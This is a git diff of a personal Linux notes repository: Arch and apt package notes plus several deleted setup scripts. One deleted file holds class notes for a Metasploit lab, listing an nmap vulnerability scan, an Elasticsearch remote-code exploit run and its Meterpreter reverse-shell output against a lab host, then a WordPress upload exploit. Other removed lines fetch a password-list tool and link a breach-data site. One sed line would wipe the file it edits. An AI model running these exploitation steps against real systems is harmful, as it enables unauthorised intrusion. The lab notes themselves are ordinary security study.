> vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
|
||||
```bash
|
||||
vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
|
||||
```
|
||||
|
||||
You should see 'true' here.
|
||||
|
||||
> sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
|
||||
|
||||
```bash
|
||||
sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
|
||||
```
|
||||
|
53
distros/arch/maintenance.md
Normal file
53
distros/arch/maintenance.md
Normal file
@@ -0,0 +1,53 @@
|
||||
---
|
||||
title: "Maintenance"
|
||||
tags: [ "arch" ]
|
||||
---
|
||||
|
||||
# Package Cache
|
||||
|
||||
Clean the cache of old packages in `/var/cachepacman/pkg/`:
|
||||
|
||||
```bash
|
||||
ls /var/cache/pacman/pkg/ | wc -l
|
||||
sudo pacman -Sc
|
||||
ls /var/cache/pacman/pkg/ | wc -l
|
||||
```
|
||||
And the same for `yay` (with `-Yc` to remove old dependencies):
|
||||
|
||||
```bash
|
||||
ls ~/.cache/yay/ | wc -l
|
||||
yay -Sc
|
||||
yay -Yc
|
||||
ls ~/.cache/yay/ | wc -l
|
||||
```
|
||||
|
||||
# New Configs
|
||||
|
||||
If you chance a configuration file, such as `/etc/environment`, and `pacman` wants to update the file, it will place `/etc/environment.pacnew`.
|
||||
|
||||
Check the new files, then look at the difference between the `pacman` version, and your version.
|
||||
|
||||
```bash
|
||||
sudo find /etc/ /var/ /usr/ -name "*.pacnew"
|
||||
diff /etc/pacman.d/mirrorlist*
|
||||
```
|
||||
|
||||
Either,
|
||||
|
||||
- Update the files manually,
|
||||
|
||||
```bash
|
||||
sudo -e /etc/pacman.d/mirrorlist
|
||||
sudo rm /etc/pacman.d/mirrorlist.pacnew
|
||||
```
|
||||
|
||||
Or,
|
||||
|
||||
- use a tool like `pacdiff` to view the changes next to each other, and select them with `vim`.
|
||||
|
||||
|
||||
```bash
|
||||
sudo pacman -S pacman-contrib
|
||||
sudo pacdiff
|
||||
```
|
||||
|
@@ -1,17 +1,21 @@
|
||||
---
|
||||
title: "pacman"
|
||||
tags: [ "Documentation", "distros" ]
|
||||
tags: [ "distros" ]
|
||||
---
|
||||
|
||||
Packages are kept in /var/cache/pacman/pkg.
|
||||
|
||||
Delete unused old packages with:
|
||||
|
||||
> sudo pacman -Sc
|
||||
```bash
|
||||
sudo pacman -Sc
|
||||
```
|
||||
|
||||
Signatures are handled by the pacman-key, initially set up with:
|
||||
|
||||
> sudo pacman-key --populate archlinux
|
||||
```bash
|
||||
sudo pacman-key --populate archlinux
|
||||
```
|
||||
|
||||
And refreshed with:
|
||||
|
||||
@@ -19,23 +23,33 @@ sudo pacman-key --refresh-keys
|
||||
|
||||
If you have usigned keys, you can refresh with:
|
||||
|
||||
> sudo pacman -Sc
|
||||
```bash
|
||||
sudo pacman -Sc
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
> sudo pacman -Scc
|
||||
```bash
|
||||
sudo pacman -Scc
|
||||
```
|
||||
|
||||
Reset all keys with:
|
||||
|
||||
> sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
|
||||
```bash
|
||||
sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
|
||||
```
|
||||
|
||||
If you're constantly getting 'everything corrupted, nothing upgraded', try running:
|
||||
|
||||
> sudo pacman -S archlinux-keyring
|
||||
```bash
|
||||
sudo pacman -S archlinux-keyring
|
||||
```
|
||||
|
||||
List all orphaned packages:
|
||||
|
||||
> sudo pacman -Qtdq
|
||||
```bash
|
||||
sudo pacman -Qtdq
|
||||
```
|
||||
|
||||
## Cleaning Config Files
|
||||
|
||||
|
@@ -1,57 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# https://www.unixmen.com/install-arch-linux-raspberry-pi/
|
||||
|
||||
pacman-key --init || echo init fail >> log
|
||||
pacman-key --populate archlinuxarm || echo update fail >> log
|
||||
pacman -Syyuu || echo update fail >> log
|
||||
|
||||
sed -i s/#en_GB.UTF-8 UTF-8/en_GB.UTF-8 UTF-8/ /etc/locale.gen
|
||||
|
||||
echo 'LANG=en_GB.UTF-8' >> /etc/locale.conf
|
||||
|
||||
locale-gen
|
||||
|
||||
pacman -S base-devel htop ranger tmux lolcat fortune-mod git figlet rxvt-unicode task timew calcurse fail2ban
|
||||
# texlive-most
|
||||
if [[ $2 == all || $1 == all ]]; then
|
||||
pacman -S nnn feh dmenu rofi xf86-video-fbdev xorg xorg-xinit xorg-server xorg-server-utils xterm
|
||||
fi
|
||||
|
||||
# Audio
|
||||
echo 'dtparam=audio=on' >> /boot/config.txt
|
||||
|
||||
if [[ $1 == audio ]]; then
|
||||
pacman -S alsa-utils alsa-firmware alsa-lib alsa-plugins
|
||||
fi
|
||||
|
||||
echo 'device_tree_param=spi=on' >> /boot/config.txt
|
||||
|
||||
# for a vnc viewer
|
||||
if [[ $1 == vnc ]]; then
|
||||
tigervnc gcc geany i3 i3status compton feh sxiv rxvt-unicode
|
||||
fi
|
||||
|
||||
# Swap
|
||||
|
||||
cd /var/cache/swap
|
||||
|
||||
dd if=/dev/zero of=swapfile bs=1K count=2M
|
||||
|
||||
chmod 600 swapfile
|
||||
|
||||
mkswap swapfile
|
||||
|
||||
swapon swapfile
|
||||
|
||||
echo "/var/cache/swap/swapfile none swap sw 0 0" > /etc/fstab
|
||||
|
||||
# fail2ban
|
||||
|
||||
[ -e sshd.local ] && \
|
||||
pacman -S fail2ban && \
|
||||
mv sshd.local /etc/fail2ban/jail.d && \
|
||||
systemctl start fail2ban
|
||||
|
||||
# If it won't reboot, install `arch-install-scripts` then try again and firstly:
|
||||
# genfstab / > /etc/fstab
|
@@ -1,9 +0,0 @@
|
||||
#!/bin/sh
|
||||
pacman -S gitea postgresql
|
||||
sudo su postgres -c 'initdb -D /var/lib/postgres/data'
|
||||
sudo systemctl start postgresql
|
||||
sudo su postgres -c 'createuser -P gitea'
|
||||
sudo su postgres -c 'createdb -O gitea gitea'
|
||||
sudo sed -i 's/mysql/postgres/' /etc/gitea/app.ini
|
||||
sudo sed -i 's/root/gitea/' /etc/gitea/app.ini
|
||||
sudo systemctl start gitea
|
@@ -1,79 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -e
|
||||
|
||||
yay -S pi-hole-ftl pi-hole-server
|
||||
|
||||
# Configuration in /etc/pihole/pihole-FTL.db
|
||||
# You can change DBINTERVAL to 60 or more to limit writes to disk
|
||||
|
||||
sudo systemctl disable --now systemd-resolved
|
||||
sudo systemctl enable --now pihole-FTL
|
||||
pihole -g
|
||||
pihole -c
|
||||
|
||||
if [ "$1" == "unbound" ]; then
|
||||
|
||||
sudo pacman -S unbound
|
||||
|
||||
sudo cp /etc/unbound/unbound.conf /etc/unbound/unbound.conf.old
|
||||
|
||||
echo "server:
|
||||
# If no logfile is specified, syslog is used
|
||||
# logfile: "/var/log/unbound/unbound.log"
|
||||
verbosity: 0
|
||||
|
||||
interface: 127.0.0.1
|
||||
port: 5335
|
||||
do-ip4: yes
|
||||
do-udp: yes
|
||||
do-tcp: yes
|
||||
|
||||
# May be set to yes if you have IPv6 connectivity
|
||||
do-ip6: no
|
||||
|
||||
# You want to leave this to no unless you have *native* IPv6. With 6to4 and
|
||||
# Terredo tunnels your web browser should favor IPv4 for the same reasons
|
||||
prefer-ip6: no
|
||||
|
||||
# Use this only when you downloaded the list of primary root servers!
|
||||
# If you use the default dns-root-data package, unbound will find it automatically
|
||||
#root-hints: "/var/lib/unbound/root.hints"
|
||||
|
||||
# Trust glue only if it is within the server's authority
|
||||
harden-glue: yes
|
||||
|
||||
# Require DNSSEC data for trust-anchored zones, if such data is absent, the zone becomes BOGUS
|
||||
harden-dnssec-stripped: yes
|
||||
|
||||
# Don't use Capitalization randomization as it known to cause DNSSEC issues sometimes
|
||||
# see https://discourse.pi-hole.net/t/unbound-stubby-or-dnscrypt-proxy/9378 for further details
|
||||
use-caps-for-id: no
|
||||
|
||||
# Reduce EDNS reassembly buffer size.
|
||||
# Suggested by the unbound man page to reduce fragmentation reassembly problems
|
||||
edns-buffer-size: 1472
|
||||
|
||||
# Perform prefetching of close to expired message cache entries
|
||||
# This only applies to domains that have been frequently queried
|
||||
prefetch: yes
|
||||
|
||||
# One thread should be sufficient, can be increased on beefy machines. In reality for most users running on small networks or on a single machine, it should be unnecessary to seek performance enhancement by increasing num-threads above 1.
|
||||
num-threads: 1
|
||||
|
||||
# Ensure kernel buffer is large enough to not lose messages in traffic spikes
|
||||
so-rcvbuf: 1m
|
||||
|
||||
# Ensure privacy of local IP ranges
|
||||
private-address: 192.168.0.0/16
|
||||
private-address: 169.254.0.0/16
|
||||
private-address: 172.16.0.0/12
|
||||
private-address: 10.0.0.0/8
|
||||
private-address: fd00::/8
|
||||
private-address: fe80::/10
|
||||
" | sudo tee /etc/unbound.conf
|
||||
|
||||
echo "Make this the only pihole DNS: PIHOLE_DNS_1=127.0.0.1 in /etc/pihole/setupVars.conf"
|
||||
|
||||
fi
|
||||
|
@@ -1,8 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
flatpak --user remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo
|
||||
|
||||
flatpak --user install flathub com.valvesoftware.Steam
|
||||
|
||||
flatpak run com.valvesoftware.Steam
|
||||
|
@@ -1,10 +0,0 @@
|
||||
git clone https://aur.archlinux.org/yay.git
|
||||
|
||||
cd yay
|
||||
|
||||
makepkg -si
|
||||
|
||||
yay -S perl-graph-easy signal-desktop sc-im ncpamixer xdg-utils-mimeo torrench
|
||||
|
||||
yay -S ttf-tengwar-annatar
|
||||
|
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: "apt"
|
||||
tags: [ "Documentation", "distros" ]
|
||||
tags: [ "distros" ]
|
||||
---
|
||||
## apt
|
||||
|
||||
@@ -8,17 +8,27 @@ tags: [ "Documentation", "distros" ]
|
||||
|
||||
Messed up a package's configuration files?
|
||||
|
||||
> sudo apt-get purge [thing]
|
||||
```sh
|
||||
sudo apt-get purge [thing]
|
||||
```
|
||||
|
||||
> sudo apt autoremove
|
||||
```sh
|
||||
sudo apt autoremove
|
||||
```
|
||||
|
||||
Check if you still have related things:
|
||||
|
||||
> apt search [thing]
|
||||
```sh
|
||||
apt search [thing]
|
||||
```
|
||||
|
||||
> sudo apt-get install [ thing ]
|
||||
```sh
|
||||
sudo apt-get install [ thing ]
|
||||
```
|
||||
|
||||
Still have problems?
|
||||
|
||||
> sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
|
||||
```sh
|
||||
sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
|
||||
```
|
||||
|
||||
|
@@ -1,90 +0,0 @@
|
||||
cd /usr/share/X11/xkb/symbols/
|
||||
cp pc pc.bak
|
||||
echo "pc backup copied - this isn't tested" >> ~/install.log
|
||||
sed s/Caps_Lock/Escape/ pc > pc
|
||||
cd
|
||||
echo "deb https://dl.bintray.com/hawkeye116477/waterfox-deb release main" | sudo tee -a /etc/apt/sources.list
|
||||
curl https://bintray.com/user/downloadSubjectPublicKey?username=hawkeye116477 | sudo apt-key add -
|
||||
sudo apt-get update && sudo apt-get install waterfox
|
||||
|
||||
```
|
||||
|
||||
echo "deb http://http.kali.org/ /kali main contrib non-free
|
||||
deb http://http.kali.org/ /wheezy main contrib non-free
|
||||
deb http://http.kali.org/kali kali-dev main contrib non-free
|
||||
deb http://http.kali.org/kali kali-dev main/debian-installer
|
||||
deb-src http://http.kali.org/kali kali-dev main contrib non-free
|
||||
deb http://http.kali.org/kali kali main contrib non-free
|
||||
deb http://http.kali.org/kali kali main/debian-installer
|
||||
deb-src http://http.kali.org/kali kali main contrib non-free
|
||||
deb http://security.kali.org/kali-security kali/updates main contrib non-free
|
||||
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free" >> /etc/apt/sources.list
|
||||
|
||||
```
|
||||
|
||||
setxkbmap gb
|
||||
|
||||
# gksudo firefox -install-global-extension addon-1865-latest.xpi
|
||||
#install addon with cli
|
||||
apt-get -y install openvpn
|
||||
cd /etc/openvpn
|
||||
|
||||
|
||||
sudo wget https://downloads.nordcdn.com/configs/archives/servers/ovpn.zip
|
||||
|
||||
unzip ovpn.zip
|
||||
|
||||
rm ovpn.zip
|
||||
|
||||
sudo apt-get install openvpn network-manager-openvpn network-manager-openvpn-gnome
|
||||
|
||||
wget https://github.com/maestrogerardo/i3-gaps-deb/archive/master.zip
|
||||
|
||||
echo "if you don't have openvpn options in your gnome desktop, this just isn't going to work. Get the openvpn manager, called 'openvpn-service-gnome' or some such" >> ~/*log
|
||||
unzip ma*
|
||||
|
||||
rm ma*zip
|
||||
|
||||
cd i3-g*
|
||||
|
||||
sudo apt -y update;sudo apt -y upgrade
|
||||
|
||||
./i3*
|
||||
|
||||
cd
|
||||
|
||||
mv i3/ .config
|
||||
|
||||
sudo apt install feh compton ranger w3m cmus scrot
|
||||
|
||||
sudo apt install tor
|
||||
|
||||
wget https://github.com/dpayne/cli-visualizer/archive/master.zip
|
||||
|
||||
echo "If vis is playing funny-buggers, enter the install files and input the commands manually. May be an architecture problem as I don't have arm cpu" >> *log
|
||||
|
||||
unzip master.zip
|
||||
|
||||
rm master.zip
|
||||
|
||||
cd cli-vis*
|
||||
|
||||
apt install libfftw3-dev libncursesw5-dev libpulse-dev
|
||||
|
||||
./install.sh
|
||||
|
||||
cd
|
||||
|
||||
mkdir Images;mkdir Images/Wallpapers;mkdir Images/Screenshots
|
||||
|
||||
apt install -y encfs cmatrix cowsay
|
||||
|
||||
mkdir Tools
|
||||
|
||||
cd Tools
|
||||
|
||||
wget https://github.com/Mebus/cupp/archive/master.zip
|
||||
|
||||
unzip master.zip;rm master.zip
|
||||
|
||||
cd
|
@@ -1,128 +0,0 @@
|
||||
---
|
||||
title: "metasploit"
|
||||
tags: [ "Documentation", "distros" ]
|
||||
---
|
||||
> service postgresql start
|
||||
|
||||
> systemctl status postgresql
|
||||
|
||||
> msfdb init
|
||||
|
||||
start the metasploit
|
||||
|
||||
> msfconfole
|
||||
|
||||
show exploits
|
||||
|
||||
Examples:
|
||||
|
||||
> info exploit/something
|
||||
|
||||
> search cve:2019
|
||||
|
||||
## Basic theory
|
||||
|
||||
There are vulnerabilities and payloads.
|
||||
|
||||
Payloads would typically give us a shell on the remote system. Android, Linux and Windows require different shells.
|
||||
|
||||
You can attach via 'reverse' or 'bind'. A 'bind' is best, as the user opens a port, and you connect. Mostly, you have to use 'reverse', which opens a connection to you.
|
||||
|
||||
# Notes for Class
|
||||
|
||||
Victim: 172.18.3.26
|
||||
|
||||
> nmap -Pn -sV 172.18.3.26 --script=vuln
|
||||
|
||||
> nmap -Pn -sV 172.18.3.26
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
|
||||
Service scan Timing: About 66.67% done; ETC: 15:28 (0:00:10 remaining)
|
||||
Nmap scan report for 172.18.3.26
|
||||
Host is up (0.016s latency).
|
||||
Not shown: 988 filtered ports
|
||||
PORT STATE SERVICE VERSION
|
||||
21/tcp open ftp Microsoft ftpd
|
||||
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
|
||||
80/tcp open http Microsoft IIS httpd 7.5
|
||||
4848/tcp open appserv-http?
|
||||
8022/tcp open oa-system?
|
||||
8080/tcp open http Sun GlassFish Open Source Edition 4.0
|
||||
8383/tcp open ssl/m2mservices?
|
||||
9200/tcp open tcpwrapped
|
||||
49153/tcp open unknown
|
||||
49154/tcp open unknown
|
||||
49159/tcp open unknown
|
||||
49161/tcp open tcpwrapped
|
||||
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
|
||||
SF-Port4848-TCP:V=7.80%I=7%D=9/14%Time=5D7D06F5%P=x86_64-pc-linux-gnu%r(Ge
|
||||
SF:tRequest,91,"HTTP/1\.1\x20302\x20Found\r\nLocation:\x20https://metasplo
|
||||
SF:itable3-win2k8:4848/\r\nDate:\x20Sat,\x2014\x20Sep\x202019\x2015:27:44\
|
||||
SF:x20GMT\r\nConnection:\x20close\r\nContent-Length:\x200\r\n\r\n");
|
||||
MAC Address: D4:25:8B:B6:85:F5 (Intel Corporate)
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
|
||||
```
|
||||
|
||||
Note this one:
|
||||
|
||||
`9200/tcp open tcpwrapped`
|
||||
|
||||
Apparently that's 'elasticsearch', so in metasploit we can do:
|
||||
|
||||
`search elasticsearch`
|
||||
|
||||
```
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 auxiliary/scanner/elasticsearch/indices_enum normal Yes ElasticSearch Indices Enumeration Utility
|
||||
1 auxiliary/scanner/http/elasticsearch_traversal normal Yes ElasticSearch Snapshot API Directory Traversal
|
||||
2 exploit/multi/elasticsearch/script_mvel_rce 2013-12-09 excellent Yes ElasticSearch Dynamic Script Arbitrary Java Execution
|
||||
3 exploit/multi/elasticsearch/search_groovy_script 2015-02-11 excellent Yes ElasticSearch Search Groovy Sandbox Bypass
|
||||
4 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
|
||||
|
||||
```
|
||||
|
||||
If you want to use 2, `use 2` or `use/multi/ela` then tab out.
|
||||
|
||||
> show options
|
||||
|
||||
> set rhost 172.18.3.26
|
||||
|
||||
The remote port's already set at this point.
|
||||
|
||||
We've so far done use, rhost, and port.
|
||||
|
||||
> exploit
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 172.18.3.112:4444
|
||||
[*] Trying to execute arbitrary Java...
|
||||
[*] Discovering remote OS...
|
||||
[+] Remote OS is 'Windows Server 2008 R2'
|
||||
[*] Discovering TEMP path
|
||||
[+] TEMP path identified: 'C:\Windows\TEMP\'
|
||||
[*] Sending stage (53845 bytes) to 172.18.3.26
|
||||
[*] Meterpreter session 1 opened (172.18.3.112:4444 -> 172.18.3.26:49311) at 2019-09-14 15:38:49 +0000
|
||||
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\LXjUK.jar' on the target
|
||||
```
|
||||
|
||||
> dir
|
||||
|
||||
# Next Wordpress
|
||||
|
||||
http://172.18.3.26:8585/wordpress/
|
||||
|
||||
Back to normal shell.
|
||||
|
||||
> search wordpress ninja
|
||||
|
||||
|
||||
> use exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
|
||||
|
||||
|
@@ -1,8 +0,0 @@
|
||||
https://coldwallet.io/
|
||||
|
||||
https://www.it-vn.com/2019/07/configure-ssh-to-avoid-from-shodan-and.html
|
||||
|
||||
https://wickr.com
|
||||
|
||||
https://weleakinfo.com/
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user